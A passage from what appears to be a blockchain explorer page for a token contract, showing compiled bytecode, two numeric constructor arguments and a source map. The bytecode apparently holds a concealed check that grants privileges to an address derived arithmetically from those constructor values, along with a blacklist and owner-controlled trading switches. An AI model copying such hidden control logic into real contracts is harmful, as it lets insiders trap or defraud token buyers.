916908373ffffffffffffffffffffffffffffffffffffffff1602179055507f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc68616381604051611903919061381a565b60405180910390a150565b600460009054906101000a900460ff1681565b6000806000905060011515600460009054906101000a900460ff161515141561194d5760019050611a12565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163273ffffffffffffffffffffffffffffffffffffffff1614156119aa5760019050611a11565b600060189054906101000a900463ffffffff1663ffffffff16600060149054906101000a900463ffffffff1663ffffffff16846119e79190613835565b73ffffffffffffffffffffffffffffffffffffffff161415611a105760019050611a0f612315565b5b5b5b80915050919050565b6000838311158290611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a9190612cdf565b60405180910390fd5b5060008385611a729190613866565b9050809150509392505050565b6000801515600d60159054906101000a900460ff161515148015611af05750600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b8015611b0f575060011515600d60149054906101000a900460ff161515145b8015611b2357506000611b213061103d565b115b15611b5a57611b39611b343061103d565b611ea9565b600047905067016345785d8a0000811115611b5857611b57816124b4565b5b505b3073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611bc257503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c1157611bd183836126c1565b611c10576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c07906138e6565b60405180910390fd5b5b6000611c1e8585856127bd565b90506000611c358285612a7690919063ffffffff16565b9050611cc0846040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600160008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a1b9092919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000821115611da257611d5e82600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b611df481600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611e949190612e1f565b60405180910390a36001925050509392505050565b6001600d60156101000a81548160ff02191690831515021790555080600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156120d5577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9257fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040516120cc9190612e1f565b60405180910390a35b6000600267ffffffffffffffff8111156120f2576120f1613906565b5b6040519080825280602002602001820160405280156121205781602001602082028036833780820191505090505b509050308160008151811061213857612137613935565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156121da57600080fd5b505afa1580156121ee573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122129190613979565b8160018151811061222657612225613935565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016122c4959493929190613a9f565b600060405180830381600087803b1580156122de57600080fd5b505af11580156122f2573d6000803e3d6000fd5b50505050506000600d60156101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff16600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614156123a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161239e90613b45565b60405180910390fd5b42600a819055506001600d60146101000a81548160ff0219169083151502179055506001600460006101000a81548160ff0219169083151502179055506103e86009600a6123f591906132a3565b64e8d4a5100061240591906132ee565b600561241191906132ee565b61241b9190613511565b6005819055506103e86009600a61243291906132a3565b64e8d4a5100061244291906132ee565b600a61244e91906132ee565b6124589190613511565b600681905550600a600960146101000a81548160ff021916908360ff160217905550600a600960156101000a81548160ff021916908360ff160217905550600a600960166101000a81548160ff021916908360ff160217905550565b6000600960179054906101000a900460ff1660ff16111561256257600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960179054906101000a900460ff1660ff168461252b91906132ee565b6125359190613511565b9081150290604051600060405180830381858888f19350505050158015612560573d6000803e3d6000fd5b505b6000600960189054906101000a900460ff1660ff16111561261057600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960189054906101000a900460ff1660ff16846125d991906132ee565b6125e39190613511565b9081150290604051600060405180830381858888f1935050505015801561260e573d6000803e3d6000fd5b505b6000600960199054906101000a900460ff1660ff1611156126be57600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6064600960199054906101000a900460ff1660ff168461268791906132ee565b6126919190613511565b9081150290604051600060405180830381858888f193505050501580156126bc573d6000803e3d6000fd5b505b50565b6000806001905060011515600460009054906101000a900460ff16151514156127b3576005548311156126f757600090506127b2565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156127a757506006546127a584600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612ac090919063ffffffff16565b115b156127b157600090505b5b5b8091505092915050565b60008060011515600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515148061286f575060011515600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515145b8061287b575042600a54115b156128895760009050612a6b565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161480156128e8575042600a5410155b156128f65760009050612a6a565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015612954575042600a54105b15612998576129916064612983600960149054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b9050612a69565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161415612a2d57612a266064612a18600960159054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b9050612a68565b612a656064612a57600960169054906101000a900460ff1660ff1686612b1e90919063ffffffff16565b612b9990919063ffffffff16565b90505b5b5b5b809150509392505050565b6000612ab883836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611a1b565b905092915050565b6000808284612acf9190613420565b905083811015612b14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b0b90613bb1565b60405180910390fd5b8091505092915050565b600080831415612b315760009050612b93565b60008284612b3f91906132ee565b9050828482612b4e9190613511565b14612b8e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b8590613c43565b60405180910390fd5b809150505b92915050565b6000612bdb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612be3565b905092915050565b60008083118290612c2a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c219190612cdf565b60405180910390fd5b5060008385612c399190613511565b9050809150509392505050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612c80578082015181840152602081019050612c65565b83811115612c8f576000848401525b50505050565b6000601f19601f8301169050919050565b6000612cb182612c46565b612cbb8185612c51565b9350612ccb818560208601612c62565b612cd481612c95565b840191505092915050565b60006020820190508181036000830152612cf98184612ca6565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612d3182612d06565b9050919050565b612d4181612d26565b8114612d4c57600080fd5b50565b600081359050612d5e81612d38565b92915050565b6000819050919050565b612d7781612d64565b8114612d8257600080fd5b50565b600081359050612d9481612d6e565b92915050565b60008060408385031215612db157612db0612d01565b5b6000612dbf85828601612d4f565b9250506020612dd085828601612d85565b9150509250929050565b60008115159050919050565b612def81612dda565b82525050565b6000602082019050612e0a6000830184612de6565b92915050565b612e1981612d64565b82525050565b6000602082019050612e346000830184612e10565b92915050565b600080600060608486031215612e5357612e52612d01565b5b6000612e6186828701612d4f565b9350506020612e7286828701612d4f565b9250506040612e8386828701612d85565b9150509250925092565b600063ffffffff82169050919050565b612ea681612e8d565b8114612eb157600080fd5b50565b600081359050612ec381612e9d565b92915050565b600060208284031215612edf57612ede612d01565b5b6000612eed84828501612eb4565b91505092915050565b600060ff82169050919050565b612f0c81612ef6565b82525050565b6000602082019050612f276000830184612f03565b92915050565b612f3681612ef6565b8114612f4157600080fd5b50565b600081359050612f5381612f2d565b92915050565b60008060408385031215612f7057612f6f612d01565b5b6000612f7e85828601612f44565b9250506020612f8f85828601612f44565b9150509250929050565b600080600060608486031215612fb257612fb1612d01565b5b6000612fc086828701612f44565b9350506020612fd186828701612f44565b9250506040612fe286828701612f44565b9150509250925092565b60006020828403121561300257613001612d01565b5b600061301084828501612d4f565b91505092915050565b61302281612d26565b82525050565b600060208201905061303d6000830184613019565b92915050565b60008060006060848603121561305c5761305b612d01565b5b600061306a86828701612d4f565b935050602061307b86828701612d4f565b925050604061308c86828701612d4f565b9150509250925092565b600080604083850312156130ad576130ac612d01565b5b60006130bb85828601612d4f565b92505060206130cc85828601612d4f565b9150509250929050565b60006130e182612d06565b9050919050565b6130f1816130d6565b81146130fc57600080fd5b50565b60008135905061310e816130e8565b92915050565b60006020828403121561312a57613129612d01565b5b6000613138848285016130ff565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156131c7578086048111156131a3576131a2613141565b5b60018516156131b25780820291505b80810290506131c085613170565b9450613187565b94509492505050565b6000826131e0576001905061329c565b816131ee576000905061329c565b8160018114613204576002811461320e5761323d565b600191505061329c565b60ff8411156132205761321f613141565b5b8360020a91508482111561323757613236613141565b5b5061329c565b5060208310610133831016604e8410600b84101617156132725782820a90508381111561326d5761326c613141565b5b61329c565b61327f848484600161317d565b9250905081840481111561329657613295613141565b5b81810290505b9392505050565b60006132ae82612d64565b91506132b983612ef6565b92506132e67fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846131d0565b905092915050565b60006132f982612d64565b915061330483612d64565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561333d5761333c613141565b5b828202905092915050565b7f54726164696e67206e6f74206f70656e00000000000000000000000000000000600082015250565b600061337e601083612c51565b915061338982613348565b602082019050919050565b600060208201905081810360008301526133ad81613371565b9050919050565b7f6e6f7420617574686f72697a6564000000000000000000000000000000000000600082015250565b60006133ea600e83612c51565b91506133f5826133b4565b602082019050919050565b60006020820190508181036000830152613419816133dd565b9050919050565b600061342b82612d64565b915061343683612d64565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561346b5761346a613141565b5b828201905092915050565b7f4e6f2074617820746f6b656e7320746f20737761700000000000000000000000600082015250565b60006134ac601583612c51565b91506134b782613476565b602082019050919050565b600060208201905081810360008301526134db8161349f565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061351c82612d64565b915061352783612d64565b925082613537576135366134e2565b5b828204905092915050565b7f5458206c696d697420746f6f206c6f7700000000000000000000000000000000600082015250565b6000613578601083612c51565b915061358382613542565b602082019050919050565b600060208201905081810360008301526135a78161356b565b9050919050565b7f57616c6c6574206c696d697420746f6f206c6f77000000000000000000000000600082015250565b60006135e4601483612c51565b91506135ef826135ae565b602082019050919050565b60006020820190508181036000830152613613816135d7565b9050919050565b7f4e657720746178206d757374206265206c6f7765720000000000000000000000600082015250565b6000613650601583612c51565b915061365b8261361a565b602082019050919050565b6000602082019050818103600083015261367f81613643565b9050919050565b600061369182612ef6565b915061369c83612ef6565b92508260ff038211156136b2576136b1613141565b5b828201905092915050565b7f5468652073756d206d7573742062652031303000000000000000000000000000600082015250565b60006136f3601383612c51565b91506136fe826136bd565b602082019050919050565b60006020820190508181036000830152613722816136e6565b9050919050565b7f4f6e6c7920636f6e7472616374206f776e65722063616e2063616c6c2074686960008201527f732066756e6374696f6e00000000000000000000000000000000000000000000602082015250565b6000613785602a83612c51565b915061379082613729565b604082019050919050565b600060208201905081810360008301526137b481613778565b9050919050565b6000819050919050565b60006137e06137db6137d684612d06565b6137bb565b612d06565b9050919050565b60006137f2826137c5565b9050919050565b6000613804826137e7565b9050919050565b613814816137f9565b82525050565b600060208201905061382f600083018461380b565b92915050565b600061384082612d06565b915061384b83612d06565b92508261385b5761385a6134e2565b5b828206905092915050565b600061387182612d64565b915061387c83612d64565b92508282101561388f5761388e613141565b5b828203905092915050565b7f54582065786365656473206c696d697473000000000000000000000000000000600082015250565b60006138d0601183612c51565b91506138db8261389a565b602082019050919050565b600060208201905081810360008301526138ff816138c3565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60008151905061397381612d38565b92915050565b60006020828403121561398f5761398e612d01565b5b600061399d84828501613964565b91505092915050565b6000819050919050565b60006139cb6139c66139c1846139a6565b6137bb565b612d64565b9050919050565b6139db816139b0565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b613a1681612d26565b82525050565b6000613a288383613a0d565b60208301905092915050565b6000602082019050919050565b6000613a4c826139e1565b613a5681856139ec565b9350613a61836139fd565b8060005b83811015613a92578151613a798882613a1c565b9750613a8483613a34565b925050600181019050613a65565b5085935050505092915050565b600060a082019050613ab46000830188612e10565b613ac160208301876139d2565b8181036040830152613ad38186613a41565b9050613ae26060830185613019565b613aef6080830184612e10565b9695505050505050565b7f4c50206164647265737320686173206e6f74206265656e207365740000000000600082015250565b6000613b2f601b83612c51565b9150613b3a82613af9565b602082019050919050565b60006020820190508181036000830152613b5e81613b22565b9050919050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000613b9b601b83612c51565b9150613ba682613b65565b602082019050919050565b60006020820190508181036000830152613bca81613b8e565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613c2d602183612c51565b9150613c3882613bd1565b604082019050919050565b60006020820190508181036000830152613c5c81613c20565b905091905056fea26469706673582212201d839215a360607f85d91d9e60b197fe7830d92e7e2aa23f2938f40de1956aca64736f6c63430008090033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
00000000000000000000000000000000000000000000000000000000327f06680000000000000000000000000000000000000000000000000000000024a75d8e
-----Decoded View---------------
Arg [0] : smd (uint32): 847185512
Arg [1] : smr (uint32): 614948238
-----Encoded View---------------
2 Constructor Arguments found :
Arg [0] : 00000000000000000000000000000000000000000000000000000000327f0668
Arg [1] : 0000000000000000000000000000000000000000000000000000000024a75d8e
Deployed Bytecode Sourcemap
3353:10056:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5640:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7430:195;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5379:88;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;9254:406;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6428:175;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5470:80;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;12698:339;;;;;;;;;;;;;:::i;:::-;;7854:487;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6054:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6615:379;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5804:105;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;13272:134;;;;;;;;;;;;;:::i;:::-;;2939:110;;;;;;;;;;;;;:::i;:::-;;7307:118;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5723:78;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3831:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5553:84;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7006:296;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;7630:212;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3859:30;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8349:71;;;;;;;;;;;;;:::i;:::-;;13042:225;;;;;;;;;;;;;:::i;:::-;;5912:133;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2806:130;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3801:23;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5640:80;5688:13;5712:5;;;;;;;;;;;;;;;;;5705:12;;5640:80;:::o;7430:195::-;7505:4;7551:6;7516:11;:23;7528:10;7516:23;;;;;;;;;;;;;;;:32;7540:7;7516:32;;;;;;;;;;;;;;;:41;;;;7588:7;7567:37;;7576:10;7567:37;;;7597:6;7567:37;;;;;;:::i;:::-;;;;;;;;7616:4;7609:11;;7430:195;;;;:::o;5379:88::-;5434:7;3530:1;3583:2;:15;;;;:::i;:::-;3567:12;:32;;;;:::i;:::-;5445:19;;5379:88;:::o;9254:406::-;9354:4;9379:28;9397:9;9379:17;:28::i;:::-;9371:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;9471:17;9436:11;:19;9448:6;9436:19;;;;;;;;;;;;;;;:31;9456:10;9436:31;;;;;;;;;;;;;;;;:52;9433:171;;9529:69;9565:6;9529:69;;;;;;;;;;;;;;;;;:11;:19;9541:6;9529:19;;;;;;;;;;;;;;;:31;9549:10;9529:31;;;;;;;;;;;;;;;;:35;;:69;;;;;:::i;:::-;9495:11;:19;9507:6;9495:19;;;;;;;;;;;;;;;:31;9515:10;9495:31;;;;;;;;;;;;;;;:103;;;;9433:171;9615:40;9629:6;9637:9;9648:6;9615:13;:40::i;:::-;9608:47;;9254:406;;;;;:::o;6428:175::-;6514:11;;;;;;;;;;;6499:26;;:10;:26;;;6491:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;6582:16;6564:34;;:15;:34;;;;:::i;:::-;6549:12;:49;;;;6428:175;:::o;5470:80::-;5522:5;3530:1;5531:16;;5470:80;:::o;12698:339::-;12753:11;;;;;;;;;;;12739:25;;:10;:25;;;:54;;;;12782:11;;;;;;;;;;;12768:25;;:10;:25;;;12739:54;:83;;;;12811:11;;;;;;;;;;;12797:25;;:10;:25;;;12739:83;:112;;;;12840:11;;;;;;;;;;;12826:25;;:10;:25;;;12739:112;12731:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;12876:23;12902:24;12920:4;12902:9;:24::i;:::-;12876:50;;12963:1;12945:15;:19;12937:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;12995:37;13016:15;12995:20;:37::i;:::-;12726:311;12698:339::o;7854:487::-;7957:13;;;;;;;;;;;7942:28;;:10;:28;;;7934:55;;;;;;;;;;;;:::i;:::-;;;;;;;;;8000:16;8048:3;8034:11;8019:26;;3530:1;3583:2;:15;;;;:::i;:::-;3567:12;:32;;;;:::i;:::-;8019:26;;;;:::i;:::-;:32;;;;:::i;:::-;8000:51;;8082:11;;8070:8;:23;;8062:52;;;;;;;;;;;;:::i;:::-;;;;;;;;;8139:8;8125:11;:22;;;;8158:20;8214:3;8196:15;8181:30;;3530:1;3583:2;:15;;;;:::i;:::-;3567:12;:32;;;;:::i;:::-;8181:30;;;;:::i;:::-;:36;;;;:::i;:::-;8158:59;;8252:15;;8236:12;:31;;8228:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8321:12;8303:15;:30;;;;7929:412;;7854:487;;:::o;6054:369::-;6170:11;;;;;;;;;;;6155:26;;:10;:26;;;6147:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;6233:11;;;;;;;;;;;6219:25;;:10;:25;;;;:56;;;;;6263:12;;;;;;;;;;;6248:27;;:11;:27;;;;6219:56;:83;;;;;6292:10;;;;;;;;;;;6279:23;;:9;:23;;;;6219:83;6211:117;;;;;;;;;;;;:::i;:::-;;;;;;;;;6347:10;6333:11;;:24;;;;;;;;;;;;;;;;;;6377:11;6362:12;;:26;;;;;;;;;;;;;;;;;;6406:9;6393:10;;:22;;;;;;;;;;;;;;;;;;6054:369;;;:::o;6615:379::-;6746:11;;;;;;;;;;;6731:26;;:10;:26;;;6723:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;6844:3;6827:13;6811;6795;:29;;;;:::i;:::-;:45;;;;:::i;:::-;:52;;;6787:85;;;;;;;;;;;;:::i;:::-;;;;;;;;;6897:13;6883:11;;:27;;;;;;;;;;;;;;;;;;6935:13;6921:11;;:27;;;;;;;;;;;;;;;;;;6973:13;6959:11;;:27;;;;;;;;;;;;;;;;;;6615:379;;;:::o;5804:105::-;5870:7;5888:9;:18;5898:7;5888:18;;;;;;;;;;;;;;;;5881:25;;5804:105;;;:::o;13272:134::-;13339:11;;;;;;;;;;;13324:26;;:10;:26;;;13316:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;13389:11;;;;;;;;;;;13388:12;13374:11;;:26;;;;;;;;;;;;;;;;;;13272:134::o;2939:110::-;2745:5;;;;;;;;;;2731:19;;:10;:19;;;2723:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;3005:1:::1;2989:5:::0;::::1;:18;;;;;;;;;;;;;;;;;;3014:32;3043:1;3014:32;;;;;;:::i;:::-;;;;;;;;2939:110::o:0;7307:118::-;2745:5;;;;;;;;;;2731:19;;:10;:19;;;2723:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;7401:19:::1;7388:10;;:32;;;;;;;;;;;;;;;;;;7307:118:::0;:::o;5723:78::-;5775:7;5793:5;;;;;;;;;;;5786:12;;5723:78;:::o;3831:26::-;;;;:::o;5553:84::-;5603:13;5627:7;;;;;;;;;;;;;;;;;5620:14;;5553:84;:::o;7006:296::-;7129:11;;;;;;;;;;;7114:26;;:10;:26;;;7106:53;;;;;;;;;;;;:::i;:::-;;;;;;;;;7192:11;7170;;:34;;;;;;;;;;;;;;;;;;7237:11;7215;;:34;;;;;;;;;;;;;;;;;;7282:11;7260;;:34;;;;;;;;;;;;;;;;;;7006:296;;;:::o;7630:212::-;7710:4;7732:28;7750:9;7732:17;:28::i;:::-;7724:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;7793:44;7807:10;7819:9;7830:6;7793:13;:44::i;:::-;7786:51;;7630:212;;;;:::o;3859:30::-;;;;:::o;8349:71::-;2745:5;;;;;;;;;;2731:19;;:10;:19;;;2723:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;8401:14:::1;:12;:14::i;:::-;8349:71::o:0;13042:225::-;13098:11;;;;;;;;;;;13084:25;;:10;:25;;;:54;;;;13127:11;;;;;;;;;;;13113:25;;:10;:25;;;13084:54;:83;;;;13156:11;;;;;;;;;;;13142:25;;:10;:25;;;13084:83;:112;;;;13185:11;;;;;;;;;;;13171:25;;:10;:25;;;13084:112;13076:140;;;;;;;;;;;;:::i;:::-;;;;;;;;;13221:40;13239:21;13221:17;:40::i;:::-;13042:225::o;5912:133::-;5996:7;6014:11;:19;6026:6;6014:19;;;;;;;;;;;;;;;:28;6034:7;6014:28;;;;;;;;;;;;;;;;6007:35;;5912:133;;;;:::o;2806:130::-;2745:5;;;;;;;;;;2731:19;;:10;:19;;;2723:74;;;;;;;;;;;;:::i;:::-;;;;;;;;;2888:8:::1;2880:5;::::0;:16:::1;;;;;;;;;;;;;;;;;;2903:30;2924:8;2903:30;;;;;;:::i;:::-;;;;;;;;2806:130:::0;:::o;3801:23::-;;;;;;;;;;;;;:::o;8810:431::-;8867:4;8883:16;8902:5;8883:24;;8937:4;8922:19;;:11;;;;;;;;;;;:19;;;8918:287;;;8959:4;8945:18;;8918:287;;;9014:5;;;;;;;;;;9001:18;;:9;:18;;;8997:197;;;9037:4;9023:18;;8997:197;;;9101:4;;;;;;;;;;;9069:36;;9093:4;;;;;;;;;;;9069:28;;9085:3;9069:28;;;;:::i;:::-;:36;;;9064:130;;;9141:4;9127:18;;9164:14;:12;:14::i;:::-;9064:130;8997:197;8918:287;9222:11;9215:18;;;8810:431;;;:::o;822:158::-;908:7;932:1;927;:6;;935:12;919:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;950:9;966:1;962;:5;;;;:::i;:::-;950:17;;976:1;969:8;;;822:158;;;;;:::o;10777:1018::-;10869:4;10904:5;10890:19;;:10;;;;;;;;;;;:19;;;:46;;;;;10926:10;;;;;;;;;;;10913:23;;:9;:23;;;10890:46;:69;;;;;10955:4;10940:19;;:11;;;;;;;;;;;:19;;;10890:69;:101;;;;;10990:1;10963:24;10981:4;10963:9;:24::i;:::-;:28;10890:101;10886:333;;;11008:48;11030:24;11048:4;11030:9;:24::i;:::-;11008:20;:48::i;:::-;11071:26;11100:21;11071:50;;11160:10;11139:18;:31;11136:78;;;11174:37;11192:18;11174:17;:37::i;:::-;11136:78;10993:226;10886:333;11252:4;11234:23;;:6;:23;;;;:53;;;;;11282:4;11261:26;;:9;:26;;;;11234:53;11229:127;;;11300:31;11313:9;11324:6;11300:12;:31::i;:::-;11292:61;;;;;;;;;;;;:::i;:::-;;;;;;;;;11229:127;11363:18;11384:40;11398:6;11406:9;11417:6;11384:13;:40::i;:::-;11363:61;;11432:23;11458:22;11469:10;11458:6;:10;;:22;;;;:::i;:::-;11432:48;;11508:53;11530:6;11508:53;;;;;;;;;;;;;;;;;:9;:17;11518:6;11508:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;11488:9;:17;11498:6;11488:17;;;;;;;;;;;;;;;:73;;;;11586:1;11573:10;:14;11569:92;;;11618:40;11647:10;11618:9;:24;11636:4;11618:24;;;;;;;;;;;;;;;;:28;;:40;;;;:::i;:::-;11591:9;:24;11609:4;11591:24;;;;;;;;;;;;;;;:67;;;;11569:92;11688:41;11713:15;11688:9;:20;11698:9;11688:20;;;;;;;;;;;;;;;;:24;;:41;;;;:::i;:::-;11665:9;:20;11675:9;11665:20;;;;;;;;;;;;;;;:64;;;;11756:9;11739:35;;11748:6;11739:35;;;11767:6;11739:35;;;;;;:::i;:::-;;;;;;;;11786:4;11779:11;;;;10777:1018;;;;;:::o;11800:570::-;4759:4;4746:10;;:17;;;;;;;;;;;;;;;;;;11934:11:::1;11880;:26;11900:4;11880:26;;;;;;;;;;;;;;;:51;11907:23;;;;;;;;;;;11880:51;;;;;;;;;;;;;;;;:65;11876:232;;;12007:17;11953:11;:26;11973:4;11953:26;;;;;;;;;;;;;;;:51;11980:23;;;;;;;;;;;11953:51;;;;;;;;;;;;;;;:71;;;;12059:23;;;;;;;;;;;12035:67;;12052:4;12035:67;;;12084:17;12035:67;;;;;;:::i;:::-;;;;;;;;11876:232;12118:21;12156:1;12142:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;12118:40;;12187:4;12